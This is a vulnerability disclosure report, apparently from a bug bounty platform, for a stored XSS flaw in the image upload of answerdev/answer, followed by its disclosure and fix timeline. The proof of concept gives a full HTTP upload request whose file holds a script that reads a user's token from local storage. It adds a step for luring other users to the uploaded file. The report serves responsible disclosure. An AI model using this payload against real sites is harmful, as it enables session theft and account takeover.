Image upload function has storage xss vulnerability in answerdev/answer

Valid

Reported on

Jan 12th 2023


Description

Malicious users can upload files containing malicious html code through this vulnerability, resulting in the theft of identity tokens of other users/administrators accessing related pages and the account being taken over

Proof of Concept

step1. Log in to a common user account
step2. Send the following http request message to upload the image

POST /answer/api/v1/file HTTP/1.1
Host: localhost:9080
Authorization: 5f61e241-91a4-11ed-a458-0242ac110002
Content-Type: multipart/form-data; boundary=---------------------------133113666429484033361737701471
Content-Length: 392

-----------------------------133113666429484033361737701471
Content-Disposition: form-data; name="source"

post
-----------------------------133113666429484033361737701471
Content-Disposition: form-data; name="file"; filename="mini.tif"
Content-Type: image/jpeg

<script>alert(localStorage.getItem('_a_lui_'))</script>

-----------------------------133113666429484033361737701471--

xss1.png

step3. Send the URL(http://localhost:9080/uploads/post/4KdbYyp9F4E.tif) to other users, or publish the URL to the question or answer to induce other users to click. Once another user clicks on the URL, identity tokens are stolen

xss2.png

Impact

Malicious users can upload files containing malicious html code through this vulnerability, resulting in the theft of identity tokens of other users/administrators accessing related pages and the account being taken over

We are processing your report and will contact the answerdev/answer team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists a year ago
无在无不在 modified the report
a year ago
无在无不在 modified the report
a year ago
We have contacted a member of the answerdev/answer team and are waiting to hear back a year ago
We have sent a follow up to the answerdev/answer team. We will try again in 4 days. a year ago
answerdev/answer maintainer validated this vulnerability a year ago
shangrui-hash has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
无在无不在
a year ago

Researcher


Hi Team, Could you help me apply for a CVE ID for this vulnerability?Thanks

无在无不在
a year ago

Researcher


@admin

answerdev/answer maintainer marked this as fixed in 1.0.4 with commit 860b1a a year ago
The fix bounty has been dropped
This vulnerability has now been published a year ago
NCNIPC梅苑
a year ago

tql

to join this conversation